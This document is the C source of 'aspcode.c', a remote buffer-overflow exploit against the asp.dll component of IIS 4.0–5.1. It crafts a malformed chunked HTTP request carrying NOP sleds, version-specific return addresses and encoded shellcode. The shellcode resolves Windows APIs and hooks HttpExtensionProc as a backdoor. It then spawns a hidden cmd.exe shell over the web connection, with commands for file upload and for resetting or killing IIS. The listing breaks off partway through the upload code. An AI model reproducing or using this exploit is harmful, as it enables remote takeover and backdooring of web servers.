   /*
        aspcode.c  ver1.0
        iis4.0、iis5.0、iis5.1     asp.dll  overflow program
        copy by yuange <yuange@nsfocus.com>  2002.4.24
   */
   #include <windows.h>
   #include <winsock.h>
   #include <stdio.h>
   #include <httpext.h>
   #pragma  comment(lib,"ws2_32")
   //#define  RETEIPADDR  eipwin2000
   #define  FNENDLONG   0x08
   #define  NOPCODE     0x90
   #define  NOPLONG     0x50
   #define  BUFFSIZE    0x20000
   #define  PATHLONG    0x12
   #define  RETEIPADDRESS 0x468
   #define  SHELLBUFFSIZE 0x800
   #define  SHELLFNNUMS   14
   #define  DATABASE      0x61
   #define  DATAXORCODE   0x55
   #define  LOCKBIGNUM    19999999
   #define  LOCKBIGNUM2   13579139
   #define  MCBSIZE       0x8
   #define  MEMSIZE       0xb200
   #define  SHELLPORT   0x1f90   //0x1f90=8080
   #define  WEBPORT     80
   void     shellcodefnlock();
   void     shellcodefnlock2();
   void     shellcodefn(char *ecb);
   void     shellcodefn2(char *ecb);
   void     cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int
   len);
   void     iisput(int fd,char *str);
   void     iisget(int fd,char *str);
   void     iiscmd(int fd,char *str);
   void     iisreset();
   void     iisdie();
   void     iishelp();
   int newrecv(int fd,char *buff,int size,int flag);
   int newsend(int fd,char *buff,int size,int flag);
     int xordatabegin;
     int  lockintvar1,lockintvar2;
     char lockcharvar;
   int main(int argc, char **argv)
   {
     char *server;
     char *str="LoadLibraryA""\x0""CreatePipe""\x0"
          "CreateProcessA""\x0""CloseHandle""\x0"
          "PeekNamedPipe""\x0"
          "ReadFile""\x0""WriteFile""\x0"
          "CreateFileA""\x0"
          "GetFileSize""\x0"
          "GetLastError""\x0"
          "Sleep""\x0"
          "\x09""ntdll.dll""\x0""RtlEnterCriticalSection""\x0"
          "\x09""asp.dll""\x0""HttpExtensionProc""\x0"
          "\x09""msvcrt.dll""\x0""memcpy""\x0""\x0"
          "cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0"
          "XORDATA""\x0""xordatareset""\x0"
          "strend";
   //  char buff0[]="TRACK / HTTP/1.1\nHOST:";
     char buff1[]="GET /";
     char buff2[]="default.asp";
     char *buff2add;
     char buff3[]="?!!ko ";
     char buff4[]=" HTTP/1.1 \nHOST:";
     char buff5[]="\nContent-Type: application/x-www-form-urlencoded";
     char buff51[]="\nTransfer-Encoding:chunked";
     char buff6[]="\nContent-length: 2147506431\r\n\r\n";  //
   0x80000000+MEMSIZE-1
     char buff61[]="\nContent-length: 4294967295\r\n\r\n";  // 0xffffffff
     char buff7[]=
   "\x10\x00\x01\x02\x03\x04\x05\x06\x1c\xf0\xfd\x7f\x20\x21\x00\x01";
     char buff11[]=
   "\x02\x00\x01\x02\x03\x04\x05\x06\x22\x22\x00\x01\x22\x22\x00\x01";
     char buff10[]="\x20\x21\x00\x01\x20\x21\x00\x01";
     char buff9[]= "\x20\x21\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30";
     char buff8[]= "\x81\xec\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90";
     /*
     char
   buff10[]="\x10\x00\x01\x02\x03\x04\x05\x06\x1d\x21\x00\x01\xec\x21\x00\x01";
     char
   buff11[]="\x10\x00\x01\x02\x03\x04\x05\x06\x20\x21\x00\x01\x01\x21\x00\x01";
     char
   buff12[]="\x10\x00\x01\x02\x03\x04\x05\x06\x21\x21\x00\x01\x00\x21\x00\x01";
     char
   buff13[]="\x10\x00\x01\x02\x03\x04\x05\x06\x22\x21\x00\x01\xff\x21\x00\x01";
     char
   buff14[]="\x10\x00\x01\x02\x03\x04\x05\x06\x23\x21\x00\x01\xe4\x21\x00\x01";
     char
   buff15[]="\x10\x00\x01\x02\x03\x04\x05\x06\x24\x21\x00\x01\x90\x21\x00\x01";
   */
     char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
     char SRLF[]="\x0d\x0a\x00\x00";
   
     char  *eipexceptwin2000add;
           char  eipexceptwin20002[]="\x80\x70\x9f\x74";   //  push ebx ;
   ret  address
           char  eipexceptwin2000cn[]="\x73\x67\xfa\x7F";   //  push ebx ;
   ret  address
           char  eipexceptwin2000[]="\x80\x70\x97\x74";
   //     char  eipexceptwin2000[]="\xb3\x9d\xfa\x77";  // \x01\x78";
   //  call ebx  address
           char  eipexceptwin2000msvcrt[]="\xD3\xCB\x01\x78";
           char  eipexceptwin2000sp2[]="\x02\xbc\x01\x78";
   //     char  eipexceptwin2000[]="\x0B\x08\x5A\x68";
   //  char  eipexceptwin2000[]="\x32\x8d\x9f\x74";
       char  eipexceptwinnt[]  ="\x82\x01\xfc\x7F";     //  push esi ;
   ret  address
   //     char  eipexceptwinnt[]  ="\x2e\x01\x01\x78";
   //  call  esi  address
   //  char  eipexcept2[]="\xd0\xae\xdc\x77";  //
     char    buff[BUFFSIZE];
     char    recvbuff[BUFFSIZE];
     char    shellcodebuff[BUFFSIZE];
     char    shellcodebuff2[BUFFSIZE];
     struct  sockaddr_in s_in2,s_in3;
     struct  hostent *he;
     char    *shellcodefnadd,*chkespadd;
     unsigned  int sendpacketlong,buff2long,shelladd,packlong;
     int i,j,k,l,strheadlong;
     unsigned  char temp;
     int     fd;
     u_short port,port1,shellcodeport;
     SOCKET  d_ip;
     WSADATA wsaData;
     int offset=0;
     int OVERADD=RETEIPADDRESS;
     int result;
     fprintf(stderr,"\n IIS ASP.DLL OVERFLOW PROGRAM 2.0 .");
     fprintf(stderr,"\n copy by yuange 2002.4.24.");
     fprintf(stderr,"\n welcome to my homepage http://yuange.yeah.net .");
     fprintf(stderr,"\n welcome to http://www.nsfocus.com .");
     fprintf(stderr,"\n usage: %s <server> [aspfile] [webport] [winxp] \n",
   argv[0]);
     buff2add=buff2;
     if(argc <2){
         fprintf(stderr,"\n please enter the web server:");
         gets(recvbuff);
         for(i=0;i<strlen(recvbuff);++i){
            if(recvbuff[i]!=' ') break;
         }
         server=recvbuff;
         if(i<strlen(recvbuff)) server+=i;
         fprintf(stderr,"\n please enter the .asp filename:");
         gets(shellcodebuff);
         for(i=0;i<strlen(shellcodebuff);++i){
             if(shellcodebuff[i]!=' ') break;
         }
         buff2add=shellcodebuff+i;
         printf("\n .asp file name:%s\n",buff2add);
     }
     eipexceptwin2000add=eipexceptwin2000;
   // printf("\n argc%d argv%s",argc,argv[5]);
     if(argc>5){
         if(strcmp(argv[5],"cn")==0) {
             eipexceptwin2000add=eipexceptwin2000cn;
             printf("\n For the cn system.\n");
         }
         if(strcmp(argv[5],"sp0")==0) {
             eipexceptwin2000add=eipexceptwin20002;
             printf("\n For the sp0 system.\n");
         }
         if(strcmp(argv[5],"msvcrt")==0) {
             eipexceptwin2000add=eipexceptwin2000msvcrt;
             printf("\n Use msvcrt.dll JMP to shell.\n");
         }
         if(strcmp(argv[5],"sp2")==0) {
             eipexceptwin2000add=eipexceptwin2000sp2;
             printf("\n Use sp2 msvcrt.dll JMP to shell.\n");
         }
     }
     result= WSAStartup(MAKEWORD(1, 1), &wsaData);
     if (result != 0) {
           fprintf(stderr, "Your computer was not connected "
               "to the Internet at the time that "
               "this program was launched, or you "
               "do not have a 32-bit "
               "connection to the Internet.");
           exit(1);
       }
   /*
     if(argc>4){
       offset=atoi(argv[4]);
     }
   //  OVERADD+=offset;
   //  packlong=0x10000-offset+0x8;
     if(offset<-0x20||offset>0x20){
        fprintf(stderr,"\n offset error !offset  -32 --- +32 .");
        gets(buff);
        exit(1);
     }
   */
     if(argc <2){
     //     WSACleanup( );
   //       exit(1);
     }
     else  server = argv[1];
     for(i=0;i<strlen(server);++i){
        if(server[i]!=' ')
        break;
     }
     if(i<strlen(server)) server+=i;
     for(i=0;i+3<strlen(server);++i){
   
         if(server[i]==':'){
             if(server[i+1]=='\\'||server[i+1]=='/'){
                 if(server[i+2]=='\\'||server[i+2]=='/'){
                     server+=i;
                     server+=3;
                     break;
                 }
             }
         }
     }
     for(i=1;i<=strlen(server);++i){
         if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
     }
     d_ip = inet_addr(server);
     if(d_ip==-1){
        he = gethostbyname(server);
        if(!he)
        {
          WSACleanup( );
          printf("\n Can't get the ip of %s !\n",server);
          gets(buff);
          exit(1);
        }
        else    memcpy(&d_ip, he->h_addr, 4);
     }
   
     if(argc>3) port=atoi(argv[3]);
     else   port=WEBPORT;
     if(port==0) port=WEBPORT;
     fd = socket(AF_INET, SOCK_STREAM,0);
     i=8000;
     setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
   
     s_in3.sin_family = AF_INET;
     s_in3.sin_port = htons(port);
     s_in3.sin_addr.s_addr = d_ip;
     printf("\n nuke ip: %s port
   %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
   
   if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct
   sockaddr_in))!=0)
   {
        closesocket(fd);
        WSACleanup( );
        fprintf(stderr,"\n  connect err.");
        gets(buff);
        exit(1);
   }
   
     _asm{
            mov ESI,ESP
            cmp ESI,ESP
     }
     _chkesp();
     chkespadd=_chkesp;
     temp=*chkespadd;
     if(temp==0xe9) {
            ++chkespadd;
            i=*(int*)chkespadd;
            chkespadd+=i;
            chkespadd+=4;
     }
     /*
     shellcodefnadd=shellcodefnlock;
     temp=*shellcodefnadd;
     if(temp==0xe9) {
            ++shellcodefnadd;
            k=*(int *)shellcodefnadd;
            shellcodefnadd+=k;
            shellcodefnadd+=4;
     }
     for(k=0;k<=0x500;++k){
            if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
     }
   */
     memset(buff,NOPCODE,BUFFSIZE);
     /*
     strcpy(buff,buff0);
     if(argc>6) strcat(buff,argv[6]);
     else  strcat(buff,server);
     strcat(buff,"\r\n\r\n"); //Proxy_Connection: Keep-Alive\r\n");
   
     strcat(buff,buff1);
   */
     strcpy(buff,buff1);
     strheadlong=strlen(buff);
     OVERADD+=strheadlong-1;
   
   if(argc>2) buff2add=argv[2];
   for(;;++buff2add){
        temp=*buff2add;
        if(temp!='\\'&&temp!='/') break;
   }
   // printf("\nfile:%s",buff2add);
   buff2long=strlen(buff2add);
   strcat(buff,buff2add);
   // fprintf(stderr,"\n offset:%d\n",offset);
   // offset+=strheadlong-strlen(buff1);
   
   /*
   for(i=0x404;i<=0x500;i+=8){
      memcpy(buff+offset+i,"\x42\x42\x42\x2d",4);  //  0x2d  sub eax,num32
      memcpy(buff+offset+i+4,eipexceptwin2000add,4);
     }
   if(argc>5){
       if(strcmp(argv[5],"sp2")==0) {
         memcpy(buff+offset+i,"\x58",1);
       }
   }
   for(i=0x220;i<=0x380;i+=8){
      memcpy(buff+offset+i,"\x42\x42\x42\x2d",4);  //  0x2d  sub eax,num32
      memcpy(buff+offset+i+4,eipexceptwinnt,4);
     }
   for(i=0x580;i<=0x728;i+=8){
      memcpy(buff+offset+i,"\x42\x42\x42\x2d",4);  //  0x2d  sub eax,num32
      memcpy(buff+offset+i+4,eipexceptwinnt,4);
     }
   */
   // winnt 0x2cc or 0x71c  win2000 0x130 or 0x468
   //  memcpy(buff+offset+i+8,exceptret,strlen(exceptret));
   shellcodefnadd=shellcodefnlock;
     temp=*shellcodefnadd;
     if(temp==0xe9) {
            ++shellcodefnadd;
            k=*(int *)shellcodefnadd;
            shellcodefnadd+=k;
            shellcodefnadd+=4;
     }
   for(k=0;k<=0x500;++k){
            if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
     }
     memset(shellcodebuff2,NOPCODE,BUFFSIZE);
     i=0x1000;
     memcpy(shellcodebuff2+i+4,shellcodefnadd+k+8,0x100);
   
     shellcodefnadd=shellcodefn;
     temp=*shellcodefnadd;
     if(temp==0xe9) {
             ++shellcodefnadd;
            k=*(int *)shellcodefnadd;
            shellcodefnadd+=k;
            shellcodefnadd+=4;
     }
   
     for(k=0;k<=BUFFSIZE;++k){
            if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
     }
   //  k+=0x
     memcpy(shellcodebuff,shellcodefnadd,k);   //j);
     cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
     for(j=0;j<0x400;++j){
         if(memcmp(str+j,"strend",6)==0) break;
     }
     memcpy(shellcodebuff+k,str,j);
     sendpacketlong=k+j;
     for(k=0;k<=0x200;++k){
            if(memcmp(shellcodebuff2+i+4+k,fnendstr,FNENDLONG)==0) break;
     }
   for(j=0;j<sendpacketlong;++j){
            temp=shellcodebuff[j];
   //         temp^=DATAXORCODE;
            shellcodebuff2[i+4+k]=DATABASE+temp/0x10;
            ++k;
            shellcodebuff2[i+4+k]=DATABASE+temp%0x10;
            ++k;
   }
   j=i+k;
   j=j%8+3;
   shellcodebuff2[i+j+k]=0;
   // j=strlen(shellcodebuff2)%8+3;
   for(j=0;j<=0xe000;j+=4){
      strcat(shellcodebuff2,"\x41\x41\x41\x41");  //  0x2d  sub eax,num32
   //   strcat(shellcodebuff2,eipexceptwin2000cn);
     }
   /*
   strcat(shellcodebuff2,"\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x0f\x66\x83\
   x6c\x24\x02\x01\x66\x81\x2c\x24\x01\x01\xff\x24\x24\xe8\xec\xff\xff\xff\
   x90");
   for(j=0;j<=0xb00;j+=4){
      strcat(shellcodebuff2,"\x90\x90\x90\x2d");  //  0x2d  sub eax,num32
   }
   */
   // printf("\nbuff:%s",buff);
   printf("\n shellcode long 0x%x\n",sendpacketlong);
   if(argc>4&&strcmp(argv[4],"apache")==0){
          strcat(buff," ");
   }
   else  strcat(buff,buff3);
   printf("\n packetlong:0x%x\n",sendpacketlong);
   strcat(buff,buff4);
   if(argc>6) strcat(buff,argv[6]);
   else  strcat(buff,server);
   strcat(buff,buff5);
   if(argc>4&&strcmp(argv[4],"apache")==0) strcat(buff," ");
   else  strcat(buff,shellcodebuff2);
   // strcat(buff,buff51);
   if(argc>4&&(strcmp(argv[4],"winxp")==0||strcmp(argv[4],"apache")==0)) {
        printf("\n for %s system\n",argv[4]);
        strcat(buff,buff61);
   }
   else strcat(buff,buff6);
   // printf("\n send buff:\n%s",buff);
   /*
   i=strlen(buff);
   memset(buff+i,'a',0xc000);
   memset(buff+i+0xc000-strlen(buff7),0,1);
   strcat(buff+i+0xc000-0x10-strlen(buff7),buff7);
   */
   // strcpy(buff8,buff7);
   /* temp=buff7[5];
   temp-=offset*0x10;
   buff7[5]=temp;
   i=*(int *)(buff7+4)+2;
   printf("\nSEH=0x%x\n",i);
   */
   /*
   for(i=0;i<8;++i){
     temp=buff7[i];
     printf("%2x",temp);
   }
   */
   /*
   for(i=0;i<0xc000/0x10;++i){
      strcat(buff,buff7);
   }
   */
   // printf("\nbuff=%s\n",buff);
   // strcat(buff,"\r\n");
   // printf("\n send buff:\n%s",buff);
   //  strcpy(buff+OVERADD+NOPLONG,shellcode);
     sendpacketlong=strlen(buff);
   //  printf("buff:\n%s",buff+0x10000);
   /*
   #ifdef DEBUG
     _asm{
         lea esp,buff
           add esp,OVERADD
         ret
     }
   #endif
   */
     lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
     lockintvar2=lockintvar1;
     xordatabegin=0;
     for(i=0;i<1;++i){
        j=sendpacketlong;
   //     buff[0x2000]=0;
        fprintf(stderr,"\n send  packet %d bytes.",j);
   //     gets(buff);
        send(fd,buff,j,0);
        buff7[0]=MCBSIZE;
   
        j=MEMSIZE+0x10;
        i=0;
        if(argc>4&&strcmp(argv[4],"winxp")==0)
        {
              j=0x18;
            i=8;
        }
        for(k=0;i<0xc000;i+=0x10){
            if(i>=j) {
   
                  k=((i-j)/(MCBSIZE*8));
                  if(k<=6){
                      memcpy(buff7+0x8,buff10,8);
                      buff7[0x8]=buff8[k];
                      buff7[0xc]=buff9[k];
                  }
                  else memcpy(buff7,buff11,0x10);
            }
            memcpy(buff+i,buff7,0x10);
   
        }
        if(argc>4&&strcmp(argv[4],"apache")==0){
            for(k=0xb000;k<=0xc000;k+=2)
            {
                memset(buff+k,0x0d,1);
                memset(buff+k+1,0x0a,1);
            }
            buff[0xc000]=0;
       //     for(k=0;k<0x10;++k)      send(fd,buff,0xc000,0);
       //     printf("\nbuff:%s\n",buff);
        }
        else send(fd,buff,0xc000,0);
   
         k=0;
         ioctlsocket(fd, FIONBIO, &k);
        j=0;
        while(j==0){
            k=newrecv(fd,recvbuff,BUFFSIZE,0);
            if(k>=8&&strstr(recvbuff,"XORDATA")!=0) {
               xordatabegin=1;
               fprintf(stderr,"\n ok!recv %d bytes\n",k);
               recvbuff[k]=0;
   //            printf("\n recv:%s",recvbuff);
   //            for(k-=8,j=0;k>0;k-=4,++j)printf("recvdata:0x%x\n",*(int
   *)(recvbuff+8+4*j));
               k=-1;
               j=1;
            }
            if(k>0){
                recvbuff[k]=0;
               fprintf(stderr,"\n  recv:\n %s",recvbuff);
            }
        }
     }
     k=1;
     ioctlsocket(fd, FIONBIO, &k);
   // fprintf(stderr,"\n now begin: \n");
   /*
     for(i=0;i<strlen(SRLF);++i){
             SRLF[i]^=DATAXORCODE;
     }
     send(fd,SRLF,strlen(SRLF),0);
     send(fd,SRLF,strlen(SRLF),0);
     send(fd,SRLF,strlen(SRLF),0);
   */
     k=1;
     l=0;
     while(k!=0){
         if(k<0){
             l=0;
             i=0;
             while(i==0){
                 gets(buff);
                 if(memcmp(buff,"iish",4)==0){
                          iishelp();
                        i=2;
                 }
                 if(memcmp(buff,"iisput",6)==0){
                          iisput(fd,buff+6);
                        i=2;
                 }
                 if(memcmp(buff,"iisget",6)==0){
                          iisget(fd,buff+6);
                        i=2;
                 }
                 if(memcmp(buff,"iiscmd",6)==0){
                        iiscmd(fd,buff+6);
                        i=2;
                 }
                 if(memcmp(buff,"iisreset",8)==0){
                        iisreset(fd,buff+6);
                        i=2;
                 }
                 if(memcmp(buff,"iisdie",6)==0){
                        iisdie(fd,buff+6);
                        i=2;
                 }
                 if(i==2)i=0;
                 else i=1;
             }
   
             k=strlen(buff);
   
             memcpy(buff+k,SRLF,3);
       //      send(fd,SRLF,strlen(SRLF),0);
       //      fprintf(stderr,"%s",buff);
   /*
             for(i=0;i<k+2;++i){
                   lockintvar2=lockintvar2*0x100;
                   lockintvar2=lockintvar2%LOCKBIGNUM;
                   lockcharvar=lockintvar2%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
   //              buff[i]^=DATAXORCODE;
             }
                send(fd,buff,k+2,0);
   */
             newsend(fd,buff,k+2,0);
   //          send(fd,SRLF,strlen(SRLF),0);
         }
         k=newrecv(fd,buff,BUFFSIZE,0);
         if(xordatabegin==0&&k>=8&&strstr(buff,"XORDATA")!=0) {
             xordatabegin=1;
             k=-1;
         }
         if(k>0){
   //          fprintf(stderr,"recv %d bytes",k);
   /*
             if(xordatabegin==1){
                 for(i=0;i<k;++i){
                   lockintvar1=lockintvar1*0x100;
                   lockintvar1=lockintvar1%LOCKBIGNUM;
                   lockcharvar=lockintvar1%0x100;
                   buff[i]^=lockcharvar;   // DATAXORCODE;
                 }
             }
   */
             l=0;
             buff[k]=0;
             fprintf(stderr,"%s",buff);
         }
         else{
             Sleep(20);
             if(l<20) k=1;
             ++l;
   
         }
   //      if(k==0) break;
     }
     closesocket(fd);
     WSACleanup( );
     fprintf(stderr,"\n the server close connect.");
     gets(buff);
     return(0);
   }
   void  shellcodefnlock()
   {
          _asm{
                 nop
                 nop
                 nop
                 nop
                 nop
                 nop
                 nop
                 nop
   
                 jmp   next1
   getediadd:      pop   edi
                    mov   esp,edi
                 and   esp,0xfffff0f0
                 jmp   next2
   getshelladd:
                 push  0x01
                 mov   eax,edi
                 inc   eax
                 inc   eax
                 inc   eax
                 inc   eax
                 inc   eax
                 mov   edi,eax
                 mov   esi,edi
       //          sub   sp,8
                 xor   ecx,ecx
   looplock:     lodsb
                 cmp  al,cl
                 jz   shell
                 sub  al,DATABASE
                 mov  ah,al
                 lodsb
                 sub  al,DATABASE
                 shl  ah,4
                 add  al,ah
       //          lea  eax,ptr word [edx*4+al]
                 stosb
                 jmp looplock
   next1:        call  getediadd
   next2:        call  getshelladd
   shell:
                 NOP
                 NOP
                 NOP
                 NOP
                 NOP
                 NOP
                 NOP
                 NOP
   
   
       }
   }
   void shellcodefn(char *ecb)
   {    char        Buff[SHELLBUFFSIZE+2];
       int         *except[3];
       FARPROC     memcpyadd;
       FARPROC     msvcrtdlladd;
       FARPROC     HttpExtensionProcadd;
       FARPROC     Aspdlladd;
   
       FARPROC     RtlEnterCriticalSectionadd;
       FARPROC     Ntdlladd;
       FARPROC     Sleepadd;
       FARPROC     GetLastErroradd;
       FARPROC     GetFileSizeadd;
       FARPROC     CreateFileAadd;
       FARPROC     WriteFileadd;
       FARPROC     ReadFileadd;
       FARPROC     PeekNamedPipeadd;
       FARPROC     CloseHandleadd;
       FARPROC     CreateProcessadd;
       FARPROC     CreatePipeadd;
       FARPROC        procloadlib;
       FARPROC     apifnadd[1];
       FARPROC     procgetadd=0;
       FARPROC     writeclient;
       FARPROC     readclient;
          HCONN       ConnID;
       FARPROC     shellcodefnadd=ecb;
       char        *stradd,*stradd2,*dooradd;
       int         imgbase,fnbase,i,k,l,thedoor;
       HANDLE      libhandle;
       int         fpt;   //libwsock32;
       STARTUPINFO siinfo;
       PROCESS_INFORMATION ProcessInformation;
       HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
       int         lBytesRead;
       int  lockintvar1,lockintvar2;
       char lockcharvar;
       int  shelllocknum;
   //    unsigned char temp;
       SECURITY_ATTRIBUTES sa;
   
       _asm {            jmp    nextcall
            getstradd:   pop    stradd
                         lea    EDI,except
                         mov    eax,dword ptr FS:[0]
                         mov    dword ptr [edi+0x08],eax
                         mov    dword ptr FS:[0],EDI
       }
          except[0]=0xffffffff;
          except[1]=stradd-0x07;
          imgbase=0x77e00000;
          _asm{
             call getexceptretadd
          }
          for(;imgbase<0xbffa0000,procgetadd==0;){
               imgbase+=0x10000;
               if(imgbase==0x78000000) imgbase=0xbff00000;
               if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int
   *)(imgbase+0x3c))=='EP'){
                      fnbase=*(int *)(imgbase+*(int
   *)(imgbase+0x3c)+0x78)+imgbase;
                      k=*(int *)(fnbase+0xc)+imgbase;
                      if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
                         libhandle=imgbase;
                         k=imgbase+*(int *)(fnbase+0x20);
                         for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
                           if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int
   *)(4+imgbase+*(int *)k)=='Acor')
                           {
                              k=*(WORD *)(l+l+imgbase+*(int
   *)(fnbase+0x24));
                              k+=*(int *)(fnbase+0x10)-1;
                              k=*(int *)(k+k+k+k+imgbase+*(int
   *)(fnbase+0x1c));
                              procgetadd=k+imgbase;
                              break;
                           }
                         }
                      }
               }
             }
   //搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
   //注意这儿处理了搜索页面不在情况。
       if(procgetadd==0) goto  die ;
       i=stradd;
              for(k=1;*stradd!=0;++k) {
                   if(*stradd==0x9) libhandle=procloadlib(stradd+1);
                   else     apifnadd[k]=procgetadd(libhandle,stradd);
                   for(;*stradd!=0;++stradd){
                   }
                   ++stradd;
              }
              ++stradd;
              k=0x7ffdf020;
              *(int *)k=RtlEnterCriticalSectionadd;
       k=stradd;
       stradd=i;
       thedoor=0;
       i=0;
       _asm{
                      jmp  getdoorcall
   getdooradd:     pop  dooradd;
                   mov  l,esp
                   call getexceptretadd
       }
       if(i==0){
           ++i;
           if(*(int *)ecb==0x90){
               if(*(int *)(*(int *)(ecb+0x64))=='ok!!') {
                   i=0;
                   thedoor=1;
               }
           }
       }
       if(i!=0){
          *(int *)(dooradd-0x0c)=HttpExtensionProcadd;
          *(int *)(dooradd-0x13)=shellcodefnadd;
         ecb=0;
         _asm{
             call getexceptretadd
         }
         i=ecb;
         i&=0xfffff000;
         ecb=i;
         ecb+=0x1000;
         for(;i<l;++i,++ecb)
         {
               if(*(int *)ecb==0x90){
                   if(*(int *)(ecb+8)==(int *)ecb){
                       if(*(int *)*(int *)(ecb+0x64)=='ok!!')    break;
                   }
               }
         }
         i=0;
         _asm{
             call getexceptretadd
         }
         i&=0xfffff000;
         i+=0x1000;
         for(;i<l;++i){
             if(*(int *)i==HttpExtensionProcadd){
               *(int *)i=dooradd-7;
              //    break;
            }
         }
     //    *(int *)(dooradd-0x0c)=HttpExtensionProcadd;
   
       }
       writeclient= *(int *)(ecb+0x84);
       readclient = *(int *)(ecb+0x88);
       ConnID     = *(int *)(ecb+8) ;
       stradd=k;
          _asm{
              lea edi,except
              mov eax,dword ptr [edi+0x08]
              mov dword ptr fs:[0],eax
          }
          if(thedoor==0){
              _asm{
                   mov eax,0xffffffff
                   mov dword ptr fs:[0],eax
              }
          }
               stradd2=stradd;
               stradd+=8;
               k=0x20;
               writeclient(ConnID,*(int *)(ecb+0x6c),&k,0);
               k=8;
               writeclient(ConnID,stradd+9,&k,0);
   //            Sleepadd(100);
   
               shelllocknum=LOCKBIGNUM2;
               if(*(int *)*(int *)(ecb+0x64)=='ok!!'&&*(int *)(*(int
   *)(ecb+0x64)+4)=='notx') shelllocknum=0;
   
   // iiscmd:
               lockintvar1=shelllocknum%LOCKBIGNUM;
               lockintvar2=lockintvar1;
   iiscmd:
   /*
               lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
               lockintvar2=lockintvar1;
   */
               sa.nLength=12;
               sa.lpSecurityDescriptor=0;
               sa.bInheritHandle=TRUE;
               CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
               CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
   // ZeroMemory(&siinfo,sizeof(siinfo));
               _asm{
                   lea EDI,siinfo
                   xor eax,eax
                   mov ecx,0x11
                   repnz stosd
               }
       siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
       siinfo.wShowWindow = SW_HIDE;
       siinfo.hStdInput = hReadPipe2;
       siinfo.hStdOutput=hWritePipe1;
       siinfo.hStdError =hWritePipe1;
       k=0;
   //    while(k==0)
   //   {
           k=CreateProcessadd(NULL,stradd2,NULL,NULL,1,0,NULL,NULL,&siinfo,
   &ProcessInformation);
   //        stradd+=8;
   //    }
           Sleepadd(200);
   //        PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0
   );
   
   
       i=0;
       while(1) {
           PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
           if(lBytesRead>0) {
              i=0;
              ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
              if(lBytesRead>0) {
                  for(k=0;k<lBytesRead;++k){
                   lockintvar2=lockintvar2*0x100;
                   lockintvar2=lockintvar2%LOCKBIGNUM;
                   lockcharvar=lockintvar2%0x100;
                   Buff[k]^=lockcharvar;   // DATAXORCODE;
   //                Buff[k]^=DATAXORCODE;
                  }
                  writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
   //               Sleepadd(20);
              }
           }
           else{
   //                 Sleepadd(10);
                l=0;
                if(i<50){
                    l=1;
                    ++i;
                    k=1;
                    lBytesRead=0;
                }
   
   
   
                 while(l==0){
                    i=0;
                    lBytesRead=SHELLBUFFSIZE;
                    k=readclient(ConnID,Buff,&lBytesRead);
                     for(l=0;l<lBytesRead;++l){
                            lockintvar1=lockintvar1*0x100;
                            lockintvar1=lockintvar1%LOCKBIGNUM;
                            lockcharvar=lockintvar1%0x100;
                            Buff[l]^=lockcharvar;   // DATAXORCODE;
                     }
   
                     if(k==1&&lBytesRead>=5&&Buff[0]=='i'&&Buff[1]=='i'&&Bu
   ff[2]=='s'&&Buff[3]=='c'&&Buff[4]==' '){
                         k=8;
                         WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
   cmd.exe
                         WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
   cmd.exe
                         stradd2=Buff+5;
                         Buff[lBytesRead]=0;
                         goto iiscmd;
                     }
                     if(k==1&&lBytesRead>=5&&Buff[0]=='r'&&Buff[1]=='e'&&Bu
   ff[2]=='s'&&Buff[3]=='e'&&Buff[4]=='t'){
   
   
                           lBytesRead=0x0c;
                           writeclient(ConnID,stradd+0x11,&lBytesRead,0);
                              lockintvar1=shelllocknum%LOCKBIGNUM;
                           lockintvar2=lockintvar1;
                           lBytesRead=0;
                     }
                     if(k==1&&lBytesRead>=5&&Buff[0]=='i'&&Buff[1]=='i'&&Bu
   ff[2]=='s'&&Buff[3]=='r'&&Buff[4]=='r'){
                         k=8;
                         WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
   cmd.exe
                         WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
   cmd.exe
                         *(int *)(dooradd-0x0c)=0;
                         Sleepadd(0x7fffffff);
                         _asm{
                             mov eax,0
                             mov esp,0
                             jmp eax
                         }
                     }
   
   
   if(k==1&&lBytesRead>4&&Buff[0]=='p'&&Buff[1]=='u'&&Buff[2]=='t'&&Buff[3]
   ==' ')
                    {
                       l=*(int *)(Buff+4);
       //
   WriteFileadd(fpt,Buff,lBytesRead,&lBytesRead,NULL);
                       fpt=CreateFileAadd(Buff+0x8,FILE_FLAG_WRITE_THROUGH+
   GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
   );
                       k=GetLastErroradd();
                       i=0;
                       while(l>0){
                          lBytesRead=SHELLBUFFSIZE;
                          k=readclient(ConnID,Buff,&lBytesRead);
                          if(k==1){
                              if(lBytesRead>0){
